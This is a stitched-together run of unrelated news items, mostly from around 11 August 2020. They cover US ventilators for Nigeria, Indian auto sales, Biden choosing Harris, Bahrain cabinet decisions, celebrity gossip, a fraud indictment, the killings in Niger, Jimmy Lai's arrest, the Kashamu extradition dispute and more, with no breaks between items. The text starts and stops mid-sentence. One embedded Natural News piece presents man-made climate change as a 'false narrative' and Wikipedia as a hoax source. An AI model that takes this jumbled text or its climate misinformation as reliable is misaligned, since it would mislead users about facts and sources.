Washington D.C., according to its statement, and didnt rule out taking action against the U.S. decision. The U.S. decision comes after China announced sanctions on 11 Americans in retaliation for similar measures imposed by the U.S. on Friday. The United States Government has handed over 200 ventilators to the Nigerian government. The items were presented on Tuesday by the U.S Ambassador to Nigeria, Mary Bert Leonard at the Abuja Premier Medical Warehouse in the nations capital. This comes four months after President Donald Trump administration promised to support the country with ventilators as the Federal Government battles the COVID-19 pandemic that has ravaged the world. Trumps promise is sequel to a telephone conversation he had with President Muhammadu Buhari on April 28. The Minister of Information and Culture, Mr Lai Mohammed, who disclosed this during a briefing said the call which was at the request of the American President centred on Nigerias response to COVID-19 pandemic. Mohammed revealed that the conversation of both leaders centred on the efforts of the Nigerian government to tackle the coronavirus pandemic. Although Nigeria reported 1,337 confirmed COVID-19 cases with its death toll at 40 as of April 26, the number of infections has however risen to 46,867 with 950 fatalities recorded as of August 10. Follow Us on Facebook @LadunLiadi; Instagram @LadunLiadi; Twitter @LadunLiadi; Youtube @LadunLiadiTV for updates Salman Khan has been at his farmhouse in Panvel amid the coronavirus pandemic. The actor and his friends and family members have been there with him too and they all recently celebrated the festival of Raksha Bandhan together. There have been various reports circulating that amid the lockdown, Salman was also finalising work on Radhe : Your Most Wanted Bhai and was planning shooting schedules for his upcoming movies with the respective teams holding meetings at Panvel. In fact, Salman also recorded, shot and released two music videos-- Pyaar karona and Bhai Bhai-- over the last few months and both were shot at the actor's suburban property. Now, Salman was spotted outside Mumbai's Mehboob studios on Monday night, leading to speculation that he is back in town for shooting of the upcoming season of Bigg Boss. The reality show has been greenlit for a new season recently and a teaser was also launched over the weekend. Contestant names will now be finalised and contracts drawn up over the coming weeks. BB 14 is said to launch in September. Earlier, it was claimed that Salman will shoot from Panvel the upcoming season of Bigg Boss but now as most actors, including film industry A-listers, return to work keeping coronavirus safety precautions in mind, will Salman too shoot BB 14 the traditional way? (Natural News) Climate extremists have already done an impressive job of getting the mainstream media on their side, and now they are exerting their considerable influence over social media as they attempt to erase any type of evidence that pokes holes in the global warming narrative. The major social media networks have an alarming amount of control over the national conversation. As Climate Depot points out, many of these firms are situated in super-liberal San Francisco, and those who work there tend to lean to the left. This gives liberals quite an advantage and puts them in a position where they can simply keep others out of the public debate. There is no question that many people working for these firms have too much access and control. For example, Twitter has found itself at the center of a huge controversy after it was revealed that 1,100 of its contractors and other insiders had access to a so-called God Mode that gave them nearly full control over users accounts and content. This backfired in spectacular fashion when someone recently hacked the accounts of high-profile users like Barack Obama and Elon Musk, using their accounts to ask for Bitcoin handouts and then getting them locked down entirely. Twitter has already been accused of suspending and shadow-banning Trump supporters and other conservatives while throttling tweets and hashtags that do not align with their leftist views. Of course, we dont see such action being taken against liberals when they are participating in bullying or using hate speech. Facebook, meanwhile, has been going out of its way to regulate user content, and as usual, conservative viewpoints are getting the short end of the stick. In addition to censorship, some voices are being outright de-platformed, and its hardly a coincidence that many of those are people who have challenged the lefts views on climate change and other issues. Facebook has already banned its users from sharing and even viewing factual information that qualified climate scientists have created. Some leftists recently sent an open letter to the co-chair of Facebooks Oversight Board asking that they censor opinion pieces challenging the notion of manmade climate change. YouTube is also a big part of the problem, demonetizing channels of conservatives who dare to question climate change. They have also added fact checks to videos that cast doubt on the idea of manmade global warming. These essentially serve as a propaganda tool to get people to buy into their false narrative. Not surprisingly, they only present one side of the story their side. One YouTube Fact Check stated: Global warming, also referred to as climate change is the observed century-scale rise in the average temperature of the Earths climate system and its related effects. Multiple lines of scientific evidence show that the climate system is warming. This blurb was taken from Wikipedia, which is known for spreading hoaxes and general unreliability given the fact that anyone can edit it. President Trump takes action against social media censorship After having his tweets fact checked by Twitter recently, President Trump announced a major crackdown on social media to ensure that all Americans have their right to free speech protected online. He said in a recent tweet: Republicans feel that Social Media Platforms totally silence conservative voices. We will strongly regulate, or close them down, before we can ever allow this to happen. Before signing an executive order stripping Big Tech of unfair immunity, he said: Theyve had unchecked power to censor, restrict, edit, shape, hide, alter, virtually any form of communication between private citizens and large public audiences. It remains to be seen what effect these moves might ultimately have on social media censorship, but it is encouraging to see that the leader of the free world is aware of this serious problem and willing to take action on it. Sources for this article include: ClimateDepot.com NaturalNews.com NaturalNews.com Source: Xinhua| 2020-08-11 23:02:16|Editor: huaxia Video Player Close WUHAN, Aug. 11 (Xinhua) -- Privately-owned businesses have earmarked a total investment of 476.5 billion yuan (about 68.5 billion U.S. dollars) for 1,577 projects in central China's Hubei Province since late March. The investments aim to help revive economic growth in the province, which was hit hard by the COVID-19 epidemic. On Tuesday, privately-owned companies signed 30 investment deals with a total investment value of 116.7 billion yuan at an event in Wuhan, the capital city of Hubei. Since the outbreak of the COVID-19 epidemic, 110,600 privately-owned companies have donated 17.2 billion yuan and provided 11.9 billion yuan's worth of goods to Hubei, said Zhao Dejiang, secretary general of the All-China Federation of Industry and Commerce. Enditem Dealers say that the full-year outlook remains negative with a projected contraction in retail sales of 15-35 per cent across segments, save tractors, which look set to clock a positive annual growth. Passenger vehicle (PV) retail sales dropped by 25.19 per cent to 157,373 units in July 2020, from 210,377 units a year ago. Two-wheeler sales dropped by 37.47 per cent to 874,638 units from 1,398,702 units. Total auto vehicle registrations dropped by 36.27 per cent to 1,142,633 units from 1,792,879 units, a year ago. Tractors were the only category to buck the trend. Their sales were up 37.24 per cent to 76,197 units in July 2020 from 55,522 units a year ago, according to data from The Federation of Automobile Dealers Associations (FADA). Dealers have said that the full-year outlook remains negative with a projected contraction in retail sales of 15-35 per cent across segments, save tractors, which look set to clock a positive annual growth. FADA president Ashish Harsharaj Kale said, "As India continues to open up, the month of July saw better registrations compared to June, though on a YoY basis, auto sector recovery is yet to be seen anywhere near normal. "Current market conditions are still not indicative of the actual demand situation on an all India level and retails continue to de-grow in huge double digits despite the low base of last year." The rural market, however, continues to show strong growth as monsoon continues its good spell. Tractor, small commercial vehicle and motorcycle sales positively impacted with the monsoon progress and spread. Banks and NBFCs, though flush with high liquidity, are still cautious about funding auto retail, affecting demand revival especially in segments of CV, 3W and 2W. The vehicle funding percentage has fallen by 10-15 per cent in many segments, increasing the initial contribution beyond the reach of many customers intending to buy. The Indian auto industry and its eco-system of suppliers, OEMs and dealers can have a huge positive impact on consumer sentiment by return to pre-Covid Volumes. "FADA has once again appealed to the government to announce demand-boosting policies to ensure speedier Auto recovery. "The industry eagerly awaits an incentive-based scrappage policy, which will boost medium & heavy commercial vehicle sales," said Kale. He added that if there are no further lockdowns, especially in auto hubs, the outlook for the current month is positive in comparison to July. "The month of August ushers the beginning of the long festival season. "With Onam and Ganesh Chaturthi in the next few days, FADA hopes that the Auto Industry will start its recovery journey in a linear manner, Kale said. "Extreme caution is required by OEMs towards wholesale billing being in tune with retail sales to avoid Dealer Inventory build-up." "With retail sales still at 60-70 per cent levels YoY despite the low base of last year, dealers are battling on many fronts to navigate through this unprecedented crisis and disproportionate inventory. "The excessive interest cost could further put many on the border of business survival," said Kale. Photograph: B Mathur/Reuters After months of polling, testing, and deliberating, Democratic presidential nominee Joe Biden has selected Kamala Harris to be his running mate in the 2020 election, the campaign announced Tuesday. Harris will be the first Black woman and first Asian American woman listed on a major partys vice presidential ballot. In a statement, Biden called Harris a fearless fighter for the little guy, and one of the countrys finest public servants and cited her work with Beau, his son. Advertisement Back when Kamala was Attorney General, she worked closely with Beau. I watched as they took on the big banks, lifted up working people, and protected women and kids from abuse. I was proud then, and I'm proud now to have her as my partner in this campaign. Joe Biden (@JoeBiden) August 11, 2020 Advertisement Advertisement Advertisement Harris, a 55-year-old senator from California, proved herself as an often charismatic figure on the campaign trail, even as her presidential campaign failed to gain much traction. In making the decision, it appears Biden decided to overlook criticism from many in the partys left over her past as a prosecutor in favor of shoring up his strength among potential moderate and Black voters. Advertisement Advertisement Some have noted that Biden, who had a close relationship with President Barack Obama, may have considered personality, trust, and loyalty as he was making the choice. And given that the former vice president would enter office as the oldest elected president ever, Biden may also have been pushed toward finding a younger running mate to lead the party in the next election, should he choose not to seek a second term. Subscribe to the Slatest newsletter A daily email update of the stories you need to read right now. We encountered an issue signing you up. Please try again. Please enable javascript to use form. Email address: Send me updates about Slate special offers. By signing up, you agree to our Privacy Policy and Terms Sign Up Thanks for signing up! You can manage your newsletter subscriptions at any time. In March, Biden committed to choosing a woman as his running mate, and in late April, he announced he had formed a vice presidential search committee. His initial list included about a dozen women, including former rivals in the presidential race, mayors, governors, and members of Congress. Harris, Sen. Elizabeth Warren, Sen. Tammy Duckworth, former Georgia gubernatorial candidate Stacey Abrams, and Atlanta Mayor Keisha Lance Bottoms were all notable names on the list. Abrams, who campaigned openly, appeared to have been struck from the list relatively early, and Sen. Amy Klobuchar announced in June that she was removing her name from consideration. Advertisement Advertisement The search appeared to change course in the aftermath of the killing of George Floyd and the anti-racist protests it sparked. Bidens campaign indicated it was looking more closely at Black women. Harris remained a prominent contender, and former Obama National Security Adviser Susan Rice, Rep. Val Demings of Florida, and Rep. Karen Bass of California all made it onto Bidens final list. Some worried the protests would tarnish the appeal of Harris, Demings, and other candidates with a history with law enforcement. Harris and Biden currently stand a good chance of winning the presidential contest, as recent polling puts them well ahead of President Donald Trump. Bidens and Harris nomination are set to be finalized at the Democratic National Convention next week. For more of Slates news coverage, subscribe to What Next on Apple Podcasts or listen below. The Cabinet approved yesterday a proposal to provide an isolation ward for all incoming passengers who have visited countries with high COVID-19 infection rates, and to conduct the necessary screening alongside the efforts undertaken by the government in this regard. The Cabinet also approved the imposition of final anti-dumping duties on Bahrains cardboard imports of origin from Spain and Poland. This is in accordance with the decision of the GCCs Industrial Cooperation Council regarding imposing final anti-dumping duties against the imports of GCC countries from the above-mentioned product for a period of five years. The Cabinet agreed to take final preventive measures in the form of a quantitative restriction for a period of three years on GCC countries imports of chemical plasticisers, in compliance with a decision to combat dumping against the imports of GCC countries of this product. The Cabinet reviewed a draft law pertaining to external audit services, particularly in keeping abreast with regulatory changes, increasing the number of qualified Bahrainis, and increasing the supply of such services to reduce prices and avoid violation delays. The Cabinet reviewed a report on legislative oversight achievements and praised the ongoing constructive cooperation between the government and the legislative authority. The Cabinet approved a memorandum submitted by the Minister of Electricity and Water Affairs on the issuance of a business license to EHYAA Renewable Company to produce and sell electricity for the 100megawatt solar power plant project. The Cabinet referred to the Representatives Council a draft law with a memorandum on the governments opinion on a proposal to amend some provisions of the Reorganisation and Bankruptcy Law. The Cabinet recognised an old house in Isa Town as a national historical landmark and noted that Isa Town has one of the oldest housing stocks in the Gulf, and was the first housing project in the Kingdom. The Cabinet approved a proposal regarding the transition of notary offices to e-notary Lisa Armstrong's new electrician lover has 'genuinely fallen for her' and has no interest in the 31million she received in her divorce settlement with Ant McPartlin, a close friend has told MailOnline. James Green, 37, was pictured looking blissfully happy with make-up artist Lisa as they took her beloved chocolate Labrador Hurley for a walk in a west London park over the weekend. Now a friend has told MailOnline that the father-of-two first hit it off with Lisa, 43, while his marriage to teenage sweetheart, Kirsty Green, was on the rocks and he had already left the 475,000 family home in Winchester, Hampshire, and was living with his parents. EXCLUSIVE: Lisa Armstrong's new electrician lover has 'genuinely fallen for her' and has no interest in the 31million she received in her divorce settlement with Ant McPartlin, a close friend has told MailOnline (pictured over the weekend) James met Lisa in a London bar at the turn of the year and the pair exchanged numbers at the end of the night when he confessed his five-year marriage was in trouble, telling her: 'I'm probably going to be single very soon.' The couple kept in contact during lockdown and James 'couldn't be happier' now they are spending more time together, the friend added. 'People have been sniping saying that he's only with her because she's got 31million from the divorce with Ant McPartlin but I truly believe it's got nothing to do with money,' said the source. 'He genuinely likes her and seems to be getting back to his old self after a really rough patch at the end of last year when his marriage was falling apart. Happy: James Green, 37, left, was pictured looking blissfully happy with make-up artist Lisa, right, as they took her chocolate Labrador Hurley for a walk in London over the weekend Love life: A friend has told MailOnline that the father-of-two first hit it off with Lisa, 43, while his marriage to teenage sweetheart, Kirsty Green (pictured together), was on the rocks and he had already left the 475,000 family home in Winchester, Hampshire 'James was with Kirsty for a long time - since they were both teenagers - and they always seemed like the perfect family with fantastic children. 'But for whatever reason that relationship started to unravel and it was then that he met Lisa. 'At the start of this year, he was away working and was sat in a bar in London and she was in there. They got talking and had a lovely night. 'They swapped numbers at the end of the evening but I don't think it was any more than that because at the time he was still with Kirsty, even though they weren't living together. 'He apparently told Lisa that he was having trouble with his marriage and that he may be single very soon, which was true because by this point he was living with his mum and dad.' Hit it off: James met Lisa in a London bar at the turn of the year and the pair exchanged numbers at the end of the night when he confessed his five-year marriage was in trouble, telling her: 'I'm probably going to be single very soon.' James, who is a senior electrical engineer for a firm where he installs and maintains electric doors, regularly travels from his rented home in Winchester to London. His friend added: 'A few months ago, James told me that he had been to see her a few more times before lockdown but now people are allowed out to socialise again, he goes down to London a lot more often. 'He and Lisa are now an item and he seems to be much more positive about the future. 'Kirsty is also seeing someone else, from what I gather, although it must still be difficult to see your former husband splashed across the newspapers cosying up to Ant McPartlin's ex.' Lisa, the head of make-up and hair for Strictly Come Dancing, finalised her divorce with Ant back in April after their split in January 2018. Happy: The couple kept in contact during lockdown and James 'couldn't be happier' now they are spending more time together, the friend added Earlier this year, the Saturday Night Takeaway co-host was reported to have handed over 31 million to Lisa, including their 5 million home in West London, following his highly documented battle with painkillers and alcohol. While she remains on good terms with him, Lisa is understood to have felt that Ant 'got away with a lot' following their split. She is also believed to be dismayed and deeply hurt that he moved on so quickly when he started a new relationship with his personal assistant, Anne-Marie Corbett. James's estranged wife told yesterday of her shock at waking up to the photos of him and Lisa together on the morning of her 36th birthday - so soon after their marriage collapsed. Speaking exclusively to MailOnline, Kirsty, 36, said she had a suspicion that her ex was dating Lisa because a mutual friend already told her they were an item. Claims: 'People have been sniping saying that he's only with her because she's got 31million from the divorce with Ant McPartlin but I truly believe it's got nothing to do with money,' said the source (James, left, pictured with pals) She said: 'I saw the photos of James and Lisa on Sunday - on my birthday, which wasn't the best present ever. 'I'd kind of already had an idea they were an item, someone gave me the heads up' Kirsty said the couple have a daughter, 14, and an 11-year-old son. She continued: 'James and me are not divorced yet, we are still going through the process but we split earlier this year and obviously he has moved out. 'We were together for a long time and I still have a good relationship with him and still speak to him. He is the father of my two children after all. 'I've seen some of the comments people have made about James and Lisa online and I've found them quite upsetting to be honest. 'I think people have a negative view because Ant McPartlin is so popular, he's seen almost as a national treasure.' Hurt: Lisa is also believed to be dismayed and deeply hurt that Ant moved on so quickly when he started a new relationship with his personal assistant, Anne-Marie Corbett (pictured 2019) (Repeats to fix format, no changes to headline or text) By Jonathan Stempel and Lawrence Delevingne Aug 11 (Reuters) - A Los Angeles-area money manager who became a prominent advocate for direct lending to businesses has been criminally charged with defrauding clients into thinking he invested their money successfully, enabling him to collect millions of dollars in illegal fees. Brendan Ross, 47, who once oversaw more than $1 billion of assets at Direct Lending Investments LLC, was arrested on Tuesday and charged with 10 counts of wire fraud, U.S. Attorney Nicola Hanna in Los Angeles said. The U.S. Securities and Exchange Commission filed related civil charges. A lawyer for Ross did not immediately respond to a request for comment. The SEC had sued Direct Lending Investments in March 2019, and the firm was later put into receivership. In a July 10 court filing, the receiver said investors might recover only 27% to 34% of the $789.6 million of assets on the firm's books as of March 31, 2019. Prosecutors said Ross had directed his funds to invest in a company that made loans to small businesses and retailers, and the funds would make money when borrowers made timely payments. But according to the indictment, Ross falsified monthly reports to make it appear that borrowers who had fallen behind on payments were actually current, and concealed how "payments" actually came from fee rebates from the borrowers' lender. Prosecutors said this let Ross inflate his funds' value by more than $300 million over four years, and collect higher performance and management fees. Authorities said Ross' improper conduct occurred from roughly 2014 to early 2019. Ross, of La Canada Flintridge, California, became a familiar direct lending advocate through appearances on CNBC, Fox Business and the Milken Institute's Global Conference. The SEC built its earlier case against Ross as part of a broader scrutiny of private funds that make higher-risk loans, but which are subject to less oversight and less stringent capital requirements than banks. (Reporting by Lawrence Delevingne and Jonathan Stempel in New York; Editing by David Gregorio) Following the detection of its first omicron case Saturday in Haidian district of Beijing, the Chinese capital locked down certain communities and office buildings just weeks before the Winter Olympics and the Lunar New Year holiday. The city opened 30 emergency testing points in Haidian on Monday as it rushes to contain the spread Jan 19, 2022 05:37 PM Gunmen on Sunday killed eight people including a group of French aid workers as they visited a part of Niger popular with tourists for its wildlife. The crime will be investigated by the French anti-terrorist authorities. There are eight dead: two Nigeriens including a guide and a driver, while the other six are French, the governor of the Tillaberi region told the French AFP news agency on Sunday. France confirmed its nationals were among the dead, without giving a figure. The anti-terror prosecutors office in Paris said Monday it would probe the killings. The investigation will concern charges of assassinations with links to a terrorist enterprise and criminal terrorist association, the office said in a statement. French aid group Acted (the Agency for Technical Development and Cooperation) said several of its workers were among those killed during a tourist outing. Among the eight people killed in Niger, several were Acted employees, said the NGOs lawyer Joseph Breham. Identity of attackers remains unknown We are managing the situation, we will give more information later, governor Tidjani Ibrahim Katiella said, without indicating who was behind the attack. A source close to Nigers environmental services said the assault took place at around 11:30 am, six kilometres east of the town of Koure, which is an hours drive from the capital Niamey. READ ALSO: Most of the victims were shot We found a magazine emptied of its cartridges at the scene, the source told AFP. One woman managed to escape but was later caught and killed, the source added. We do not know the identity of the attackers but they came on motorcycles through the bush and waited for the arrival of the group. The source said the victims vehicle belonged to Acted, which was later confirmed by Nigers home ministry. Wide condemnation of a barbarous act The office of French President Emmanuel Macron said he spoke on the phone with his Niger counterpart Mahamadou Issoufou. Both leaders condemned the cowardly attack. In Paris, a spokesman for the French army said Frances Barkhane force, which fights jihadists in the Sahel region, had provided support to Nigers forces. An AFP reporter at the scene confirmed that French fighter jets flew overhead later Sunday as Nigers army searched the vast wooded area. Forensic police were collecting evidence at the scene. IBK laments violent extremism Neighbouring Malis President Ibrahim Boubacar Keita meanwhile strongly condemned the barbaric act. He lamented that violent extremism was still rife in the Sahel region despite the merciless war waged by national armies, the G5 Sahel joint forces and the Barkhane force. Radio France International is Premium Times syndication partner. We have permission to republish its contents. Six weeks after China imposed a national security law on Hong Kong, police moved in on media tycoon Jimmy Lai, one of the most prominent critics of Beijing in the city. Lai, 71, was whisked away from his home on Monday morning by police, part of a citywide operation that also saw eight other men arrested, including several of his senior executives. In the evening, police arrested pro-democracy activist Agnes Chow Ting on charges of inciting secession under the new law. Hundreds of police descended on Lais corporate Next Digital headquarters, where his flagship Apple Daily is produced. Police ignored staffers questions on what legal grounds they had for entering. Apple Dailys editor-in-chief Ryan Law tried to report events breaking in his own newsroom via Facebook New Delhi, Aug 11 : Civil aviation regulator DGCA has suspended two senior captains of AirAsia India responsible for the operations and safety aspects of the airline. The head of operations and chief of flight safety have been suspended. The complaint of safety violations against AirAsia was made by whistleblower Captain Gaurav Taneja, who was earlier employed with the airline. The DGCA issued a showcause notice to AirAsia on June 29 and the airline acknowledged the receipt of the notice last month. AirAsia India also said it has complied with the directions of the regulator and appointed interim post-holders in accordance with it. "As an airline that prioritises safety above all, we continue to engage with the authorities and exercise the option to appeal for redressal," the airline said. Contradictory testimonies by the National Drug Law Enforcement Agency (NDLEA), used in a UK court, was partly responsible for the failure of an attempt to extradite a former senator, Buruji Kashamu, to the United States, a court document obtained by PREMIUM TIMES shows. Mr Kashamu died on Saturday at a Lagos hospital after he reportedly became ill after contracting coronavirus. In December 1998, Mr Kashamu was arrested by operatives of the Metropolitan Police, upon arriving in London, United Kingdom, on drug trafficking allegations. Seven months earlier, the late senator had been indicted by United States authorities for allegedly being the mastermind of a heroin smuggling ring. After his arrest and incarceration in a UK jail, the U.S. Department of Justices Office of International Affairs commenced a process to have him extradited to the U.S. to face trial, but that process was scuttled in part by conflicting testimonies about his identity and role as an informer for the NDLEA. Mr Kashamu was indicted following incriminating evidence provided by three of his alleged co-conspirators. He was detained at the Brixton Prison pending the completion of his extradition process. The former lawmaker denied the allegation. He claimed that the so-called Alaji, the drug-smuggling kingpin, which the co-conspirators had told U.S. authorities about, was his brother, Adewale Kashamu. He said Adewale was allegedly killed in 1989 by personnel of the Nigerian Customs. He said he shared a striking resemblance with his deceased brother. The contradictory evidence In February 1999, U.S. authorities filed for the extradition of Mr Kashamu from London. In May 2000, as part of his challenge to the extradition by the U.S., Mr Kashamu submitted documents proving he cooperated with law enforcement authorities in Benin, Togo and Nigeria. Mr Kashamus challenge was primarily centred on two claims: that he was a cooperator with the NDLEA, and that he told the NDLEA, among other things, that his brother was a drug trafficker. He subsequently submitted evidence he obtained from the NDLEA and from authorities in Benin and Togo, where he was based and conducted a car importation business from. The U.S. government then made an inquiry to Interpol in Benin, Togo and Nigeria asking whether Mr Kashamu ever acted as a cooperator with law enforcement agencies in these countries. In October 2000, Interpol Benin responded, describing Mr Kashamu as a well-known businessman in Cotonou, who collaborated with the police of Benin (BCN-IP Cotonou) within the scope of the fight against drug trafficking from 1993 to 1995. In July and August 2000, Interpol Togo relayed that Buruji Kashamu had provided service to Togo from 1990 to 1997 in the area of information concerning narcotics traffickers and that the Chiefs of the Immigration Service and Interpol confirmed that Mr Kashamu provided confidential information concerning his brother,, the man named Adewale Adeshina Kashamu who also belonged to a drug trafficking network, the court document revealed. On January 24, 2000, Mr Kashamus lawyer presented to the London court, a letter written on NDLEA letterhead and signed by the NDLEA chairman at the time, Ogbonna Onovo, supporting Mr Kashamus claim that he was an NDLEA cooperator. The letter stated that Mr Kashamu has been very helpful to the NDLEA in crime-fighting. We are surprised that he is being incarcerated on wrong accusation of drug trafficking in the UK, the letter stated. However, on November 8, 2001, U.S. authorities received a letter dated March 12, 2001, and signed by Bello Lafiaji, the chairman of the NDLEA at the time, addressed to the U.S. ambassador in Nigeria which contradicted the testimonies received from Benin and Togo. Mr Lafiaji told U.S. authorities that Mr Kashamu, had at no time, been an informant of this agency (NDLEA) nor has the Agency had cause to reward him for anything. The letter also claimed that Alhaji Adewale Adeshina Kashamu, a wanted drug suspect, was already dead by the time Buruji Kashamu was wanted by this Agency in 1994, having died while attempting to run away from Customs investigation for involvement in drugs. A day after receiving the letter from Mr Lafiaji, the U.S. government attorney wrote to the DEA office in Lagos, asking it to seek a response from the NDLEA about the contradictory testimonies. On November 15, 2001, the attorney received a letter from the NDLEA signed by Usman Amali, a special assistant to the Chairman and Chief Executive of the NDLEA, stating that the January 24, 2000 letter submitted by Mr Kashamu, and another letter January 13, 2000, were bogus and their contents absolutely false. The U.S. attorney informed the Crown prosecution Services of the UK of these responses. Mr Kashamu subsequently filed affidavits from Illiya Mshelia, chief prosecutor and deputy director in Legal Services Department of the NDLEA and Samson Aboki, director of public prosecution of the NDLEA on February 4, 2002, supporting his claim of being an NDLEA informer and cooperator. READ ALSO: The US attorney immediately sent a request via the DEA office in Lagos to the NDLEA to confirm if the affidavits were valid and whether those who swore to it existed. The next day the attorney received a letter from Mr Amali insisting that Mr Kashamu has never been an informant or source of this Agency, rather he is a fugitive drug offender on the run from arrest, please. But just before the magistrate commenced the extradition process on May 9, 2002, Mr Kashamu presented another letter to the court where the chairman claimed that Mr Kashamu was not arrested in 1994 and was not on the list of persons wanted for prima facie drug offences by the Agency, per se. The letter also claimed Mr Kashamus brother, Adewale, had not died in the custody of the Nigerian Customs Services. Mr Kashamu also told the court that he had sued the NDLEA because the NDLEA had not retracted the negative information in its letters about him. Advertisements Again, the U.S. attorney reached out to the NDLEA to confirm the veracity of the latest letter from NDLEA. On May 8, 2002, the US attorney received a letter signed by Mr Amali. [T]he Agency stands firmly by its earlier assertion that Buruji Kashamu has never been a cooperator with NDLEA. The letter, however, stated that after it was presented by the passport issued in 1990 to Adewale, Mr Kashamus brother, the NDLEA found it difficult to continue to assert [its] earlier conclusion that Adewale Kashamu died in the custody of the Nigerian Customs Service before the establishment of NDLEA in 1989. The letter also stated that Mr Kashamu had threatened to take legal action against the Agency and the Federal Government of Nigeria, if the letters were not retracted. After reviewing all the evidence before him, the magistrate in charge of the extradition proceeding, Timothy Workman, ruled in Mr Kashamus favour, thereby squashing his extradition to the US. On January 10, 2003, Magistrate Workman issued his final decision in the second extradition proceeding. GEx10. Magistrate Workman found, among other things, that: (1) Kashamu had a similar-looking brother; (2) Kashamu was an informant for Interpol in Benin and Togo and for the NDLEA in Nigeria; and (3) Kashamus brother was not killed in 1989 by Nigerian Customs officials, the court paper read. Interestingly, in 2015, the NDLEA tried to extradite Mr Kashamu to the US for the same allegations but the attempt was aborted by an order of a Federal High Court in Abuja. MONTREAL, QC / ACCESSWIRE / August 11, 2020 / Kisses from Italy Inc. (OTCQB:KITL), a U.S.-based restaurant chain operator, franchisor, and product distributor (the "Company"), today announced it has entered into an exclusive agreement with Oberfeld Snowcap, Inc. which will now take the lead in Kisses from Italy's strategic Franchise expansion for site selection across Canada. Oberfeld Snowcap is a full-service real estate and retail advisory firm that focuses on retail tenant representation, strategic planning, property and project leasing, and portfolio optimization. Founded over 40 years ago, Oberfeld Snowcap provides its clients, such as Kisses from Italy, with innovative real estate and advisory services that will strengthen the Company's global brand value. The firm currently represents over 250 local banners, national and international retail brands across North America. "We are looking forward to begin working with Oberfeld Snowcap for our Canadian franchise growth and brand strategy, as we believe that Oberfeld Snowcap's understanding and expertise in the North American landscape is unmatched", commented Kisses from Italy's co-founder, co-CEO and CIO, Claudio Ferri. "From the initial meeting with Oberfeld Snowcap's team, we immediately knew that they were the right choice of partners for our expansion plans", added Ferri. Jay Freedman, Oberfeld Snowcaps's Executive Vice-President - Client Relations and Business Development commented "We are excited to welcome a great brand, like Kisses from Italy, under the Oberfeld Snowcap umbrella and the potential for facilitating great success for the Company with our strategic partnership and expansion plan." Oberfeld Snowcap has offices in Montreal, Toronto, Calgary and Vancouver. The newly signed agreement with Oberfeld Snowcap, comes on the heels of Kisses from Italy's recent announcement of the signing of a Multi-Unit Development deal for 100 locations across Canada with Canadian based Demasar Management, the Company's lead developer and operator for the Kisses from Italy brand in Canada. "With our corporate owned locations in the U.S. and in Italy, now fully operational, we intend to turn our attention toward developing and growing our Franchise division in North America", stated Michele Di Turi, President, co-CEO and co-founder of Kisses from Italy. Di Turi also expressed "we are excited to begin the process in assisting Demasar Management, visiting, assessing and developing the various properties that will be presented to us by Oberfeld Snowcap's team. This is definitely, for us, one of many parts of the business that we enjoy the most." About Kisses from Italy Inc. Kisses from Italy Inc. is a U.S.-based restaurant chain operator, franchisor and product distributor with locations in North America and Europe. The Company offers a quick service menu and a unique take on traditional Italian delicacies with an All-American flair. Kisses from Italy offerings include sandwiches, salads, Italian roasted coffee, coffee related beverage and an array of other products. The Company currently operates four corporate-owned stores. It successfully commenced operations in May 2015 with the opening of its flagship location in Ft. Lauderdale at 3146 NE 9th St. This was followed by three additional sites across the greater Ft. Lauderdale/Pompano Beach area. The Company recently opened its inaugural European location in Ceglie del Campo, Bari, Italy in October of 2019. In September of 2019, Kisses from Italy Inc. was given the approval by FINRA to trade its common stock and was approved for up-listing by the OTC Markets Group to the OTCQB in mid-October 2019 under the ticker symbol KITL. Forward-Looking Statements This press release may contain forward-looking statements, which are based on current expectations, forecasts, and assumptions that involve risks and uncertainties that could cause actual outcomes and results to differ materially from those anticipated or expected, including statements related to the amount and timing of expected revenues and any payment of dividends on our common and preferred stock, statements related to our financial performance, expected income, distributions, and future growth for upcoming quarterly and annual periods. These risks and uncertainties are further defined in filings and reports by the Company with the Securities and Exchange Commission (SEC). Actual results and the timing of certain events could differ materially from those projected in or contemplated by the forward-looking statements due to a number of factors detailed from time to time in our filings with the SEC. Among other matters, the Company may not be able to sustain growth or achieve profitability based upon many factors including, but not limited to, general stock market conditions. Reference is hereby made to cautionary statements set forth in the Company's most recent SEC filings. We have incurred and will continue to incur significant expenses in our expansion of our existing and new service lines, noting there is no assurance that we will generate enough revenues to offset those costs in both the near and long term. Additional service offerings may expose us to additional legal and regulatory costs and unknown exposure(s) based upon the various geopolitical locations where we will be providing services, the impact of which cannot be predicted at this time. Additionally, the ultimate impact of the Covid-19 pandemic on our company's operations continues to evolve, is highly uncertain and subject to change. For more information, please visit www.kissesfromitaly.com Contact Information: Kisses from Italy Inc. 305-423-7129 info@kissesfromitaly.com SOURCE: Kisses from Italy Inc. View source version on accesswire.com:https://www.accesswire.com/601123/Kisses-from-Italy-Signs-Exclusive-Agreement-with-one-of-Canadas-Largest-Retail-Advisory-Firms Due to the ongoing Covid-19 pandemic, the much-loved annual August 15 funfair at Blackrock has been postponed. Killian Allen of K Allens Funfair, broke the news to the Democrat over the weekend, saying that the decision was taken with great sadness and regret. However, he explained that postponing the event is the most responsible action at this time. He said: We have been monitoring the escalating number of new cases over the last week and have decided that cancelling the event is the most responsible action at this time. Despite completing the necessary Covid-19 training and risk assessment protocols, Killian says they must put the safety of staff and customers first. Due to the increase in numbers of new cases of Covid-19, we have decided for the health and safety of our staff, customers and indeed friends and neighbours in Blackrock we have decided it is best to cancel the event. Killian further explained that the tradition of a fun fair at Blackrock on August 15 goes back to the 1950s. This year would have been the 13th consecutive year for K Allens Funfair to visit Blackrock, after taking over from Albert Casselys Funfair, which attended Blackrock back as far as 1950s on the beach. However Casselys funfair was too big for the small car park in Blackrock. For Killian, who lives in Blackrock, the annual event has also played a big part in his life from a personal point of view. It will be a very strange day for me this 15th of August as I have always attended the funfair in Blackrock since I was a small child and have many fond memories there. My mother used to visit the funfair all over Ireland. He even found a way into the business thanks to Albert Cassely. I became great friends with Albert Cassely and bought a bouncy castle at 16 and had it in some of his events. There has been a funfair in Blackrock sea front for the 15th August for the last 80 years and I hope to carry that on for at least another 80. Although Killian is confident of coming back next year, the current outlook remains bleak for those in his industry. A lot of funfairs and circuses in Ireland are currently facing financial difficulties. Funfair rides cost anything from 100,000 to million pounds for a big ride. However, a strange quirk of fate has benefited Killian this year. We had a brand new ride ordered from a factory in February of this year, however the factory got an order from a US-based customer and offered me a fantastic deal if I delayed my order. This was going to leave us without our new ride until June where it was scheduled to open in Dundalk for its first event. I was due to visit the factory on the 23rd of March to pay the first instalment of the ride. If this had not happened and we took delivery in February we would be sitting now with payments of 